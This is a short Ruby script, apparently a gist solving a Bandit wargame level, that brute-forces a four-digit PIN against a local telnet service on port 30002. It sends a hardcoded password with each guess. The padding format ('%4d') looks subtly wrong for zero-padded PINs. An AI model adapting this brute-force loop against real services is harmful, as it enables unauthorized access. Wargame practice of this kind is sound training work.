bandit.rb

gistfile1.rb

#!/usr/bin/env ruby
require 'net/telnet'
localhost = Net::Telnet::new("Host" => "localhost", "Port" => 30002)
for count in 0..9999
  pin = sprintf("%4d", count)
  puts "Trying #{pin}"
  localhost.cmd("String" => "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ #{pin}", "Match" => /^Wrong!.*/n) { |a| puts a }                  
end
localhost.close